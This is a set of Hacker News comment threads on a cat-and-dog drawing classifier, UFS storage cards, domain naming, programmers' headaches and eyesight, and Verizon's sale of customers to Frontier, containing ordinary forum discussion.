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Categorization of drawings of dog and cat faces – A university project - jeena
https://github.com/jeena/catdog/blob/master/report.md
======
alexhawdon
Nice little project.
A few suggestions to improve the writeup:
1\. Consider going into more depth on the workings of the image processing
techniques. The ones you have chosen are some of the more readily-accessible
and, to the uninitiated, can be a delight to learn (esp the Hough Transform,
imo). This will also help cement things in your mind and be useful when it
comes to exam time.
2\. Feature selection is obviously the most critical part of the process -
consider going into more detail. (Un)Fortunately you got it right first time,
so you couldn't document a process of trial, error, insight and finally
success. In lieu of this you should at least be able to elucidate on the
thought processes that led you to choose the features you did. If you are able
to make a prediction that is subsequently realised then that demonstrates you
are intelligently selecting features and understanding the consequences,
rather than just getting lucky.
3\. Your description of k-Nearest Neighbours is a little faulty - possibly the
result of you trying to phrase what is essentially a simple concept in your
own words? The user doesn't pre-define some set 'search radius' \- the
algorithm simply finds the k nearest neighbours of a given point. If your
point is some outlier then the 'search radius' will be much larger then had
you selected a more 'typical' point in the middle of a densely-populated area
- for the same value of k.
~~~
jeena
Yeah especially the Hough Transform isn't quite clear in my mind yet, I assume
the best way to really understand it would be to implement it myself.
I had a process with feature selectaion actually, even if that isn't quite
clear from the text. First I had for a long time just the amount of lines and
the average length which didn't really work, I had to think a lot to come up
with other features and then I got a bit lucky (but mostly I was looking at
the images with the lines in them to try to figure out the differences myself)
with the average angle.
And yeah, with "radius" I didn't mean the concrete spacial radius (in n
dimensions) but just like you say the k nearest neighbours.
------
elwell
First read title as: "Categorization of drawings of dog and cat feces"
~~~
jeena
Hehe, that could be my next project :D
| {
"pile_set_name": "HackerNews"
} |
Show HN: Homescreenhomie.com - lopsae
https://www.homescreenhomie.com/
======
lopsae
Turn yourself into an app on your friend's phone.
Upload an image and allow anyone to add it to their mobile homescreen. Similar
to how people have photos of their friends or family in their wallets.
| {
"pile_set_name": "HackerNews"
} |
Samsung Begins Mass Production of 512GB EUFS 3.1 - oedmarap
https://news.samsung.com/global/samsung-begins-mass-production-of-the-fastest-storage-for-flagship-smartphones
======
mwcampbell
Am I the only one who thinks that microSD cards, and by extension EUFS cards,
are too small? It's very easy to lose a microSD card. I thought the original
SD form factor was good.
~~~
wyattpeak
How often do you handle them? I like them the size they are because in my
experience I only really handle them when I get a new phone. For something I
touch less than once a year, I'd rather they be as small as possible so they
don't have to bulk up my devices.
------
jolmg
So, this is the first I've heard of UFS, and I'm wondering... what's with the
fish fin on the cards?
If the point is to prevent it being accidentally inserted in a microSD slot,
couldn't they have just used a slightly different size, like a millimeter
wider, and keep a rectangular shape?
~~~
kevin_thibedeau
It keeps microSDs from fitting into a UFS only slot. They won't work in a
microSD only slot because the data pins are moved to a new row.
~~~
jolmg
> It keeps microSDs from fitting into a UFS only slot.
Did you mean that backwards? If a microSD doesn't have fins and the slot has
additional space for fins, how would it prevent the insertion?
~~~
kevin_thibedeau
The fins coincide with the notches on the microSD. Tray type slots can have a
UFS only outline. Those without a tray will need a barrier that only permits
the rounded fin to enter.
[https://www.lovemysurface.net/wp-
content/uploads/2016/07/ufs...](https://www.lovemysurface.net/wp-
content/uploads/2016/07/ufs_card.jpg)
~~~
jolmg
Oh! Looking at them side-to-side like that, it makes a lot more sense.
------
freepor
How do they manage the heat at these speeds? I've seen even MicroSD get
ouchingly hot.
~~~
antpls
I would guess a better manufacturing process and smaller components lead to
better energy efficiency and less heat dissipation.
------
mrfusion
So what does this mean to a grandfather with an iPhone?
~~~
pkaye
I don't think Apple uses UFS storage on a iPhone. They do their own thing.
~~~
selectodude
Apple has a full-blown SSD controller with NVMe storage in the iPhone.
~~~
kitsunesoba
And last I knew, it’s the same controller they use in Macs.
------
hettygreen
I clicked on the link expecting that EUFS 3.1 was some new piece of medical
equipment that could speed up Covid-19 testing. I guess I get my nerd card
taken away for not knowing my acronyms (and ignoring the "512GB" part).
~~~
Dylan16807
The world didn't end. If you expect every single news article to be about the
disease, you need to step away from the news for a while.
------
zaroth
1GB/sec?
Why does it (still) take over an hour to copy 100GB of photos and videos off
my phone?
Every time it seems like a nightmare because I don’t want to use some weird
sync, or convert the files as they copy, or store the photos inside an
Photos.app container....
I just want the damn files copied onto my NAS where I know they’re safe and
automatically mirrored on Backblaze.
Been doing it for 10 years now and still a painful and slow manual process.
Most recently when I tried, I had to give up trying to do it on a Mac and move
to a PC where I could see the individual files and copy them out of each
folder and then delete them as a separate step. I can’t be the only one
tearing hair out over this...
~~~
ChuckMcM
Note that 1GB/sec is all of a 10 gigabit ethernet line. You probably have, at
most, 1Gb between your phone and your NAS if you are using 802.11AC. So
100MB/sec or one tenth that speed for you, maybe much less.
That said, if your NAS had a UFS slot you could 'sneakernet' the chip from the
phone to the NAS and clone it then pull it out and put it back in your phone.
That could conceivably happen in just a few minutes if your NAS CPU and IO
system could keep up.
No word on their write endurance that I saw.
~~~
fulafel
It's weird how lagging home 10GbE is, given it's so old tech now and the
adults have had 40/100Gbe for 7-ish years. Anyone know how much you have to
pay for a 10 GbE NAS appliance?
(Not that I'd get a NAS appliance on my net anyway, they all seem to be gaping
security holes and generally give a crap-IoT or crap-enterprise vibe - the
role is well served by x86 hw + normal OS options)
~~~
magicalhippo
You can get cheap refurbished 10GbE cards on eBay. I got a couple of Mellanox
ConnectX-2 cards for like $30 or so and get 1.1GByte/s without tuning between
my NAS and my Win10 desktop PC.
The MikroTik CRS305-1G-4S+IN is a relatively cheap 4 port 10GbE switch.
~~~
jleahy
You can get a brand new Mellanox card for $210 from their website, shell out
$215 and you can get 25G ethernet. It's not really that much to pay once you
consider it an expensive component (like a NVMe drive) rather than something
that's virtually free (like a 8GB flash drive). The sad truth is that a 10G
NIC is something that requires a reasonable amount of modern silicon to
produce, so it's not going to be cheap (yes they were producing them back in
the 130nm era but that was an act of insanity).
~~~
magicalhippo
You need quite spiffy hardware to get useful utilization of a 25G connection
though, it's ~3GB/s after all. For me the 10G cards are plenty, given that my
NAS is all spinning rust.
| {
"pile_set_name": "HackerNews"
} |
Ask HN: I need quick help - musiic703
Looking to get a domain is the hyphen bad thing in a website?
======
michaelpinto
From a branding point of view the bad thing is that when you say the name of
the domain over the phone you always have to say bla-hyphen-bla.com which is a
pain.
~~~
musiic703
What if its one of those names that its rare to even find hyphen. take the
chance?
~~~
michaelpinto
Buying the domain is the least expensive thing you can do. Building a brand
and investing in launching a site on the other hand can be one of the most
expensive things you can do. An amazing site can do well in spite of a bad
domain name (example: pinterest!) but a well known domain doesn't guarantee a
great website or brand.
~~~
musiic703
that's true. thanks!
------
RobSim
Short answer, Yes.
A hyphen screams unprofessional to me. @michaelpinto has covered most of the
rest.
------
gamechangr
Honestly, Yeah it is bad. I think it sounds a little unprofessional. Hope that
helps
------
caw
While I would lean against it, what happens if you don't have the hyphen? Just
remember experts-exchange :)
------
orangethirty
Depends on the market. What market are you aiming for?
| {
"pile_set_name": "HackerNews"
} |
Are you a programmer with chronic headaches? If so please read - ColinWright
http://jacquesmattheij.com/Programmers+with+chronic+headaches+please+read
======
mechanical_fish
_Until I was 30 the word 'headache' didn't even exist for me. I never really
understood what other people were going on about._
There are two phenomena that never cease to amaze me. One is this one: You go
through life hearing about Problem X ("migraine headaches are really
debilitating!") but you never quite know what the fuss is about. Then you
_get_ your first migraine headache and as you're sitting there in the dark
feeling nauseous and miserable you suddenly think to yourself "oh, _this_ is
what my friends were talking about! Hey, they weren't kidding!"
Every time this happens it somehow takes me by surprise. I guess that, however
much you try, you can't easily imagine the actual experience of pain. You have
to be shown.
The other phenomenon is that you get _used_ to your own pains, and then find
yourself unreasonably surprised that other people don't intuitively understand
them. I've worn glasses since I was eight years old, contacts for a couple of
decades off and on, and I've been a professional laser scientist (i.e.
"someone whose eyes are in chronic danger") so Jacques' story surprises me:
You mean other people _don't_ go to the ophthalmologist every year? Oh, right,
they probably don't. I only know that intellectually; I don't really remember
that from day to day until I read a story like this one.
Human communication, empathy, and imagination are astonishing abilities, but
you do discover their limits.
~~~
FilterJoe
Great comment. And it's even worse with less common ailments like Asthma or
Chronic Fatigue Symptom. My wife has Asthma that is triggered by a number of
different things including perfume and smoke. People often dismiss concerns
she raises about perfume or smoke as her just being picky when it's really a
health issue. But you can't see it and most people never experience it so that
makes it harder to take seriously.
~~~
chugger
1) eat a healthy breakfast
2) sleep at least 7-8 hours a day
3) exercise
~~~
wazoox
These are great advices, good for everyone, but it won't cure asthma. I eat
healthy breakfasts, sleep generally enough and exercise at least 1 hour a day,
and I don't suffer from asthma thanks to inhaled corticosteroids I take every
single day.
------
fhars
Ah, the "I don't need glasses, it is only that my arm is too short" effect.
That's a well known ageing process. The lens of the eye is an elastic body
that bounces back to a more spherical form if you focus on something in the
near, but over the years the material becomes less and less elastic, so the
nearest point you can focus on moves further and further away. (That is on
reason why small children trying to show you something hold it right in front
of your nose: for them it is the distance where they can see small things
best.)
~~~
mturmon
Thanks for that note about kids holding things close up. I had never thought
that better flexibility of their lens might be the reason.
------
shin_lao
That's spot on. Also known to cause headaches:
* Lack of sleep
* Lack of magnesium or iron
* Too much sugar/fat
* Caffeine withdrawal symptom (and the cure isn't more caffeine ;) )
* Bad position (especially in the neck)
* Flu, cold, etc.
~~~
derefr
> Caffeine withdrawal symptom (and the cure isn't more caffeine ;) )
I don't know about that, actually. Caffeine is the active ingredient in (low-
power, over-the-counter) migraine medication, because it has anti-inflammatory
properties. People who have chronic headaches may be unintentionally self-
medicating with caffeine; for them, the caffeine withdrawal period becomes
concurrent with their _regular_ headaches returning.
More anecdotally, when I don't drink caffeine (and I do go off it for months
at a time), I get headaches on and off, about once per week or so. When I _do_
drink caffeine, though, I literally never get headaches.
~~~
shin_lao
[http://en.wikipedia.org/wiki/Health_effects_of_caffeine#With...](http://en.wikipedia.org/wiki/Health_effects_of_caffeine#Withdrawal)
If I remember correctly, caffeine's purpose in migraine medication is to
accelerate the delivery of the payload.
~~~
sneak
It was my understanding that it is included because many people taking
headache pills don't actually realize that they are caffeine addicts and don't
recognize the withdrawal symptoms for what they are. This makes the pills more
effective in making that class of headaches go away by eliminating the
withdrawal symptoms, sort of how heroin is an effective cure for heroin
withdrawal.
~~~
ordinary
> It was my understanding that it is included because many people taking
> headache pills don't actually realize that they are caffeine addicts and
> don't recognize the withdrawal symptoms for what they are.
If true, I would find that rather disturbing.
~~~
sneak
Many things about the OTC drug market in America are rather disturbing. 26k
people per year are hospitalized from acetaminophen poisoning, and about two
die every day. It's the scumminess of the pharma industry, with less adult
supervision.
------
easy_rider
I have a -18,50 D in my right eye, and -18D in my left, with a small non-
progressive cataract in both pupils (it's in the genes, mother has them also).
Not to mention the spherical abberation and the PVD I've had in both eyes, due
to a combination of kickboxing and my eyes being so bad, It triggered the
condition at young age.
I can't look at white screens for too long, the floaters in front of my eyes
will start to give me headaches because they distract me from my focus point.
I've been getting chronic headaches for a year and a half now, but even though
I'm pretty handicapped in my eyesight, here are some tips:
\- Make sure you're not staring into bright daylight/ not sitting right next
to a window, which will make it harder for you to focus. \- Use as much black
as possible, a black theme is a must for your editor! I hated Zend studio when
they stopped being easily to configure in the theme department. When I found
Apatana Studio I fell in love with the default dark themes.
\- Make sure your monitors are up to date. Your resolution and sharpness of
Fonts must be adequate. And if you feel yourself leaning over to read
something on your screens. We have a problem... I'm sporting two 27" monitors
right now at EYE HEIGHT. Which leads me to...
POSTURE POSTURE POSTURE POSTURE POSTURE. \- Leaning forward is NOT good.
Better, angle backwards a little bit if your chair allows it. If you start
leaning forward, your back muscles will tense up, which will tense up your
shoulders, which will tense up your neck...which will tense up your scalp, and
there we go, chronic tension headache. Relax your shoulders, make sure they're
not shrugged up when you're using your keyboard and mouse. Otherwise fix your
chair/desk height.
\- Ok so we can also get the migraines out a little bit, they are more often
caused by eye strain, or poor circulation. Quit smoking, leave your work area
for a short stroll from time to time. I get the sharp migraines a little bit
less.
\- Tension headaches might also result from a misconfiguration in the bedroom
area. Wrong mattress, wrong cushions: headache.
~~~
jarek
-18D is well in the legally blind territory, correct? I'm around -5D in my worse eye and I can't imagine something three times worse.
------
hopeless
I've always had headaches but some months are worse than others. I wear
glasses for driving but generally not for every day wear (it's a psychological
thing) and I've generally put it down to that.
After 3-4 days of a constant splitting headache which felt like I'd been hit
with a cleaver, I noticed a lump at the back of my head/neck. This was finally
enough to make me go to the doctor (obviously fearing brain cancer or some
other deathly disease). The doctor diagnosed "Occipital Neuralgia" [1] which
is basically the compression of one of the scalp nerves as it exits the spinal
column. As I often end up slumped forward in my chair, head angled up, this
was compressing those nerves and causing the pain. It had never occurred to me
that the pain could have a physical cause. Since then, better posture control
has meant very few headaches.
The lump it turns out is just a swollen glad, possibly from an unrelated minor
infection or from the swollen nerve itself.
[1] <http://en.wikipedia.org/wiki/Occipital_neuralgia>
~~~
ErrantX
This.
My osteopath calls it "programmers bump" :)
Pains in the back of the head, or down the side of the face it is almost
certainly neck/back related. After suffering a couple of years with on/off
head pain I finally figured this out & it literally took a couple of sessions
to work the tightness out.
(I had a scare too because the trapped nerves in my neck caused lumps to
appear all up and down the length of it :S not fun!)
So, yeh, I second the recommendation to get a medical professional to look at
posture.
------
lutorm
I have frequent headaches that were made a lot worse by a motorcycle accident
a decade ago, and I've spent a lot of time experimenting with different
things.
_In my case_ , the biggest factor seems to be muscular, and doing trigger
point massage has _almost_ eliminated the problem. There are an _amazing_
number of muscles that can cause some kind of headache (not just including
neck muscles but also a bunch of jaw muscles reachable from the inside of your
mouth...) It's now gotten to the point that depending on which type of
headache (temple, top of head, stabbing in the eye, etc.) I get, I pretty much
know which muscle to massage.
So, my obligatory reference for people who have chronic back pain or
headaches: The Trigger Point Therapy Workbook ww.amazon.com/Trigger-Point-
Therapy-Workbook-Self-Treatment/dp/1572243759
------
Flow
Every time I get more headaches than "normal" I go check my eyes.
For the last year I've had neck pain and terrible headaches many times a week
and often the whole weekends.
Turns out it's not my eyes, it's how I sit, stand and walk. I've tried
swimming(with glasses so I don't bend the neck further). Not much luck with
swimming, gonna try going to the gym and exercise shoulders and my back.
The doctor applied some "body tape" to my back, shoulders and neck so I could
feel in my skin if my posture was outside a normal posture. If you have
headaches, try that.
Next step is to try to be aware of my posture when working, surfing and
playing games. That's really hard, and I keep forgetting how I sit. :-( If you
have any tips for me I'd be glad.
~~~
jodoherty
Have you tried rowing? It exercises your whole body and helps reinforce good
posture when you make an effort to maintain good form. I plan on buying my own
indoor rowing machine next month.
~~~
Flow
I have tried it occasionally, it's nice exercise. Since you mentioned it and
I've happened to read about it on reddit I think rowing might be a the
exercise for me. I'm going to try it a few times and see how it feels. Thanks
for the tip!
------
Luyt
With my left eye, I can't focus on objects closer than 12 inch.
With my right eye, I can't focus on objects further than 26 inch.
I have glasses to correct this, but without glasses I can comfortably use a
computer at a 'sweet spot' distance of 18 inch ;-)
Any closer and my left eye image begins to become blurred. Lately I've done a
lot of fine soldering work, and then it becomes really obvious. I think I need
reading glasses, too.
~~~
narag
My left eye is "lazy" (sorry, I don't know what's the equivalent term in
English) that means that most of the work is done by the right one. If you
have the same condition, it would explain the acute difference.
When it was diagnosed, they told me that it was too late to correct. For
children "pirate patches" are used to blind the good eye and train the lazy
one.
~~~
Silhouette
I'm the same.
If everyone reading this discussion takes only one thing away from it, I hope
it is to watch out for their kids in case they develop a bias towards one eye.
You can do something about it, but only until they are about 7 years old.
After that, the problem is to do with the development of the brain rather than
of the eye, and today's medical science has no way to correct it.
BTW, there is definitely an English term "lazy eye", but I don't know whether
it has the same meaning or refers to another specific condition.
~~~
gojomo
My guess is that like lots of other medical wisdom/folklore about the adult
brain, we'll eventually find workable exceptions to the idea that favoring one
eye is irreversible after a certain age. Physical qualities of the eye that
contributed to the initial imbalance can now be surgically corrected;
neuroscience has found that creation of new brain cells continues far later in
life than previously thought; some drugs (including SSRIs) have been found to
trigger neurogenesis in adults, as does exercise.
------
fiblye
I was getting terrible headaches for a few months before I tried turning my
screen brightness down around 20%. Daily headaches instantly became monthly
headaches.
Getting new glasses might be the solution for some people, but for others, it
could easily be something like having your screen brightness just a little too
bright or dim.
------
ck2
Here's the thing about headaches though - what triggers it for one person is
not always the same for another.
The motivation to share advice is admirable but it's just as mistaken as
similar "this is the path to my success, you should do it too because it
should work for everyone".
~~~
lutorm
What you say is true, but it's better to try and see if it helps than not to.
------
kellishaver
As someone who deals with eye strain daily due to vision problems that can't
be corrected, some days, it just wear me out and leave my physically
exhausted. It's unbelievable how physically tiring it can be.
To combat this, I do a few things:
\- Try to take frequent breaks, even if it's just closing my eyes for a couple
of minutes
\- Keep the room lighting at the right level - not too bright, not too dark
\- Use larger fonts and good contrast - a black background on my text editor,
where I spend the majority of my time and light grey, almost white, but not
quite as stark, text seems to be the best balance.
\- Try and get plenty of sleep - If I start the day tired, then my ability to
focus on what I'm looking at and my visual stamina are both going to be shot
by noon.
------
DanBC
Eye testing can pick up a bunch of stuff early, so regular eye tests
(especially when you get older) are important.
Don't forget that in England your employer makes a contribution to the cost of
eye-tests and glasses if you're a monitor user.
([http://www.direct.gov.uk/en/Employment/HealthAndSafetyAtWork...](http://www.direct.gov.uk/en/Employment/HealthAndSafetyAtWork/DG_10026668))
Plenty of pages that get linked to from HN are pretty bad for readability -
awful contrast or weird font choices. User side CSS is nice, but it's a shame
to have to fix so many sites.
------
malbs
I had the same problem - late afternoon headaches, tiredness. It was a
colleague who took one look at how close I sat to the monitor to tell me to
get my eyesight checked. Diagnosis: long-sighted in one eye, short-sighted in
the other, which caused quite significant muscle strain while my eyes
constantly fought eachother for focus, causing headaches and tiredness.
Prescription goggles and the problems vanished.
Get your eyes checked, at best you get told you have 20/20 vision and you're
mad, and to drink more coffee. At worst you're in line for glasses
~~~
roel_v
"Get your eyes checked, at best you get told you have 20/20 vision and you're
mad, and to drink more coffee. At worst you're in line for glasses"
I'd turn that best/worst around. Glasses are easy to get, cheap, and work
deterministically and measurably. If you have 20/20 vision and still have
headaches, you probably have bigger problems than the relatively minor
nuisance of wearing reading glasses.
~~~
malbs
I struggled when deciding how to place that best/worst haha, I think you're
right :)
------
typicalrunt
The simple thing he didn't mention as the cause of his headaches -- other than
alluding to it -- is eyestrain. As programmers we are consistently straining
our eyes. I'm always in the doghouse with my optometrist because I am always
breaking her rules. She understands programmers and what they do to their
bodies (fingers, wrists, eyes, posture), but obviously her bias is the eyes so
she has a few rules that I should live by:
\- don't strain the eyes reading small text. Smartphones are especially bad at
this.
\- don't always look at the same distance. It strains the muscles. We were
meant to look at short and far distances, but monitors are always 2-3 ft from
our face.
\- Take A LOT of eye breaks. Every 10-15 minutes just look somewhere else.
That's all.
\- Blink. When people read screens, they blink less. If you don't blink, your
eyes don't lubricate themselevs and you can develop sores under your eyelids
(especially so with contact lenses).
\- Get more sleep.
\- Wash around your eyes every night. This is good advice for women as well as
men. If you mistreat your eyes, you can get protein build-up around the
eyelids and follicles. Make sure you gently clean all of it away with a warm
compress.
Basically, treat your eyes like precious little jewels. Pamper them and
they'll last a long time.
~~~
nazar
My laptops resolution is 1920x1080 which makes HN text look almost
microscopical, and I spend reading HN 1/3 of my day. I think from this day on
I will ctrl++ :) Thanks for advice!
------
andrewljohnson
Make your font bigger. Most people I see stare at tiny text.
~~~
roel_v
Eh, no - just get glasses. Even big letters are still blurry when your eyes
start deteriorating. You can still turn up the font size, but first make sure
that everything you see, you see it sharp.
------
pasbesoin
I'm at the point of needing to replace a pair of glasses. Has anyone had
useful experience with online purchases of glasses (in the U.S.)? There are a
number of options; perhaps I need to find some recent issues of _Consumer
Reports_ , if they've included online retailers in their reviews.
I'm fussy about comfort and appearance, but the prices that are charged
especially for the frames nonetheless seem ridiculous.
~~~
nkurz
Don't think, just do it. I've had much better experiences online than I have
with local and chain eyeglass shops. The prices charged by most shops are an
insult. Do your part to disrupt this monopoly, while saving yourself a lot of
money.
If you're cheap (I am) I'd recommend Goggles4u. If you search for coupons, and
you can get a basic CR39 backup pair for $10 ($5 if you're willing to 'Like'
them on Facebook first), a decent polycarbonate AR pair for $25, and a great
pair for $40. Interface is awful, communication is awkward, shipping is slow,
but prices are great and product quality is generally high.
If you want less hassle, try EyeGlassDirect. They are US based, respond to
email, and are a fraction of the cost of your local shop. You can get two
pairs of AR polycarbonate for about $100, no coupon searching necessary.
Both of these places will put new lenses in your existing frames for about the
same price. I've even gone so far as to order designer frames from Ebay, and
have them shipped directly to Eyeglassdirect to have lenses put in.
If you want more info, www.eyeglassretailerreviews.com and
glassyeyes.blogspot.com are good starting points. But don't get bogged down.
Skip the research and do it!
ps. As another poster points out, Costco isn't bad, but once you start buying
online even their prices will seem extreme. But they (and Walmart Optical) are
good places to get a prescription and exam.
~~~
pasbesoin
Thank you for the informative response. Currently, I have a rather nice (and
pricey, but I received superb follow-up service from the local, non-chain shop
over a period of several years) Italian frame with polycarbonate lenses. One
thing that has slowed their replacement is that this model is no longer
offered, as of some years ago. But both the frame and the lenses are reaching
an unavoidable end of life.
The shop has changed hands, it appears, and also, extrapolating prices forward
to today, they would simply be more than I'd be comfortable paying right now.
But I'd still pay relatively more for something similar -- just without the
final round or two of high markup.
This pair has lasted well over a decade. So I don't view the past expenditure
as a waste -- both for the resulting durability and for the consultation that
led me to this model. But, again extrapolating in my imagination, looking at
upwards of a grand for a pair of glasses just seems extreme.
I'll have a thorough look at your recommendations. Thanks again.
------
mcantor
Also, everyone should install F.lux
<http://stereopsis.com/flux/>
This is another migraine-stopper.
~~~
rdouble
I found that f.lux actually makes my eyes hurt when used with LED backlit
screens.
~~~
mcantor
Do you use the "gradual shift" setting? I've noticed that a lot of people
don't realize it's there, and they use the "sudden drastic change" setting,
which is very jarring. Also, make sure it has the correct coordinates/zip code
for your location!
~~~
rdouble
I get the same issues when I dim my screen manually. I read somewhere that
certain people are affected by the power cycling used to "dim" the LEDs. Not
sure if I believe it but nothing else has changed in my setup, and I never had
any problems before. Otherwise, maybe I'm just getting old.
------
gst
There are lots of things that can result from bad eye sight.
I didn't get headache from my bad eyesight (around 1/2 dioptrin), but easily
got completely tired during work (no matter how much I've sleeped during the
night). Since I've got lenses this issue disappeared, no more tiredness at all
during the day.
~~~
berntb
If you are tired and your eyes are ok, you might want to check for allergies
(at least mine didn't have any effects on throat/nose, so it might not be
obvious). Or bacteria infection (teeth, etc).
------
smoyer
I'm in the same boat and just got a set of progressive tri-focals. But I've
found that there are other things that help.
1) I got a bigger monitor (for times I'm not using the laptop's screen.
2) I sit about four feet away from the monitor now ... that's classified as
intermediate distance and doesn't require your tired eye-muscles to work
nearly as hard to focus.
3) Eye exercises ... the rule-of-thumb is to look at something 20 feet (or
more) away for 20 seconds every 20 minutes.
Ergonomics can help too ... because the same guideline that helps you avoid
neck strain will put the monitor in the sweet-spot of your eye-glasses (ignore
this for contact wearers). Level vision should put your gaze one-third from
the top of your monitor. Most people have their monitors too low!
I hope this helps someone!
------
liquidcool
Here's a counter point (sort of). At some point I began to suffer from eye
strain - they were really hurting. I went to an optometrist and got a checkup,
explained the symptoms. Since I was staring at a computer all day (and all
evening - this was during my special time with WOW) she prescribed computer
glasses.
Turns out, I didn't need them (and still don't). What happened was that the
refresh rate on my CRT monitor was reset to 60Hz (probably due to a driver
update). Once I returned it to the highest setting, my eye strain/pain went
away. Of course, with LCDs it's not really a problem anymore, but keep this in
mind if you're still on a CRT.
------
vivekjishtu
Even I was suffering from headaches for a few months and then I went to the
optician and was prescribed to wear glasses.
Am still trying to get used to wearing them. And the first time I wore my
glasses everything seemed so much clearer.
~~~
gst
I suggest to try out lenses. At the beginning it's a little bit difficult to
put them in or to remove them, but (at least for me) they work much better
than glasses.
If you are lucky and the lenses work well for you, you won't even notice that
you have them inside (except for the fact that your vision is much better).
~~~
vivekjishtu
The only problem I see with lenses is the constant cleaning and the extra care
that they require.
~~~
ChrisAnn
They also don't play well with air conditioning, which tends to be prevalent
in offices.
I went back to glasses anyway, because I missed the way they look on my face.
------
iaskwhy
Last week I bought a Macbook Air with 13" and I haven't been able to sit in
front of it for that long, the resolution makes everything too tiny specially
because I work on a lower resolution laptop the whole day and only use the MBA
at night. I have no idea if I will get used to it or if I just have to return
it. I've been thinking about how wrong the future is going to be to our eyes
if we keep improving the resolution of screens when operating systems don't
deal that well with it. (I use Windows 7 on the MBA and I can't just go for a
smaller resolution because type gets blurred.)
~~~
duncans
You can change the text scaling in Windows whilst keeping the screen
resolution native: Control Panel\Appearance and Personalization\Display - try
setting it to Medium.
~~~
iaskwhy
I know about this but as a web developer/designer I would prefer not to mess
with anything other than the resolution. I too am thinking the possibility of
using an external screen and use the Macbook Air as a desktop because it's
really fast. But I'm very sad about this outcome.
You know when I tried setting it to Medium or Large it almost looked like
Metro!
------
cagey
I just got progressive lens glasses for the first time a few months ago. And
made the mistake of using them while working on my PC. Result: BAD recurring
headaches for the first time in my life. I switched back to my old single-
vision glasses til now, but all the providers I deal with are pushing
"computer progressives" as the default solution; they look at me like I'm
crazy when I ask for a single-vision prescription for use with the computer.
Any experiences with "computer progressives" out there in HN-land?
------
bryanlarsen
Kicking the caffeine habit was what did it for me. Don't go cold turkey: I
titrated slowly off the caffeine over the course of a month, and still had
some withdrawal symptons (ie, headaches).
I still get headaches, but they're much less frequent, much less severe and
it's usually much easier to track down the cause. (It's usually lack of sleep
combined with too much screen time).
As a bonus, if I avoid computer & TV screens for the 2 hours before bed, I
fall asleep within 30 seconds of my head hitting the pillow.
~~~
dekz
Sometimes when I'm focused I forget to eat, not sure if this is common among
others but the concept of hunger doesn't always strike me if im in the zone.
Remembering to eat and to eat healthy reduced the amount of headaches greatly.
------
click170
Protip from personal experience: If your method of identifying someone at
distance relies on recognizing the gait of a blurry outline of a person, you
may need glasses.
------
MichaelApproved
TLDR Just scroll to the bottom:
_"If you have headaches, especially chronic ones do yourself a favor and have
your eyes checked, you might need glasses without realizing it."_
~~~
biot
It's under 450 words which, for an average native English speaker, will take
about a minute and a half to read without skimming to find the important bits.
It's rather disappointing if something so short needs to be summarized.
~~~
pbhjpbhj
His summary is under 25 words; you can read a lot more such summaries in 1½
minutes.
This is why Google SERPs return a snippet and not the whole page of text for
every page. Summarising is a very useful thing. What is it about saving time
that disappoints you?
~~~
biot
TLDR... can you summarize?
~~~
pbhjpbhj
TL;DR
His summary is short.
Brevity is useful.
------
ntmartin
I've had similar symptoms, and finally got around to getting an eye test.
Bottom line I need glasses too. I started getting very bad headaches in my
late 20's, I'm early 30's now.
Glasses make a World of difference, esp as I am usually looking at more than
one screen and switching between them. I went for a very light frame, like
Lindberg for example as these were most comfortable.
------
nazar
For me it's usually intensive focus on something, be it complicated problem or
just routine work. I don't feel headache while being within the activity, but
after I stop and try to take some rest, my head nearly exploding, and the only
way out is vomiting.
------
pipedream
I never understood how glasses are supposed to help. Glasses only help you see
better while wearing them, but don't actually help you see better after you
take them off, right?
I have mild hypermetropia, but it hasn't bothered me so far, so I'm not
wearing glasses.
------
gommm
I used to have very bad headaches when working and found out that it was due
to a bad position of my neck. I've since changed my office chair, made sure
that the screen is positioned so that I don't look down and the headaches have
disappeared...
~~~
johnyzee
> made sure that the screen is positioned so that I don't look down
Guys working on laptops should pay attention to this. Looking down (tilting
the head forward, even slightly) means the muscles in the back of the neck now
have to hold up the weight of your head (3 kilos?), instead of merely
balancing it, as when the head is upright. This can cause serious neck
tension.
------
powertower
My headache solutions:
1\. Don't forget to breath. When I'm coding sometime I'll concentrate on the
problem so much that my breathing slows down and becomes extremely shallow.
2\. Don't let the code/problem take you away. Practice self-awareness.
This will prevent the tension for building up.
------
kolektiv
What timing, I went through this process over the last two months. My new
glasses will be ready on Thursday. I can read anything, even the smallest type
without them. But after 8 hours, it hurts. Hopefully it won't soon.
Heed this advice - just be aware!
------
bond
In my case I get headaches due to lack of sleep. Normally when I get small(2
secs) but powerful bursts of pain on the back of my head with an interval of
6-20secs, I know it's time to sleep...
------
crazydiamond
| "If you have headaches, especially chronic ones do yourself a favor and have
your eyes checked, you might need glasses without realizing it."
Glasses are a good way of weakening the eyes even further. Eye exercises are a
better way of keeping you vision in good shape. Keep your arm extended, focus
on thumb, slowly bring it as close as possible. Extend again.
When reading a page on the computer, avoid scrolling line by line with a mouse
as you read. Better for the eyes to use the space bar to do page scrolling.
If you find reading a book is out of focus, you might wait for 10 seconds or
so, for the eyes to focus. Happens if you are not used to focusing on near
objects.
~~~
scott_s
_Glasses are a good way of weakening the eyes even further. Eye exercises are
a better way of keeping you vision in good shape._
Source?
~~~
alaithea
Not sure about the scholarly literature on it, but my eye doctors (several
different ones over the years) have almost always mentioned how it's better to
slightly undercorrect the vision, so that the eyes still have to work a bit at
focusing. They implied that to do otherwise could speed the degradation of
your vision.
------
extension
Conversely, I strongly suspect that wearing my new myopia glasses in front of
the computer was giving me headaches. They never told me about that.
------
alexwolfe
Ha, knew you were gonna say glasses, same problem. The eyes slowly get weaker,
glasses helped.
------
stephen789
Is this just general "getting old" advice?
~~~
eru
Getting old while staring at a screen.
------
marcovena
not that I don't second what you say...but is this really popular on HN?
| {
"pile_set_name": "HackerNews"
} |
Verizon customers forced onto Frontier - nhangen
http://www.meetfrontier.com/
======
zzalpha
Forced?
Yeah, that title isn't editorialized.
Verizon divested themselves of some of their wireline footprint, selling it
off to Frontier.
This is no different than, say, a cell company merger or similar.
Don't like it? Switch providers. But Verizon is no longer an option for you.
The reality is, Verizon is leaving the terrestrial television business in a
big way, and if I had to bet, they'll be a pure wireless company in the not-
too-distant future.
As an aside, this also should be no surprise to Verizon subscribers in
affected areas. This deal was announced last February and approved last
September:
[http://www.prnewswire.com/news-releases/fcc-approves-sale-
of...](http://www.prnewswire.com/news-releases/fcc-approves-sale-of-verizon-
local-wireline-operations-in-california-florida-texas-to-frontier-
communications-300137234.html)
| {
"pile_set_name": "HackerNews"
} |
Strange Beings – Episode #1 with Keith Rabois - danielzarick
http://www.strangebeings.co/episodes/4053-1-keith-rabois
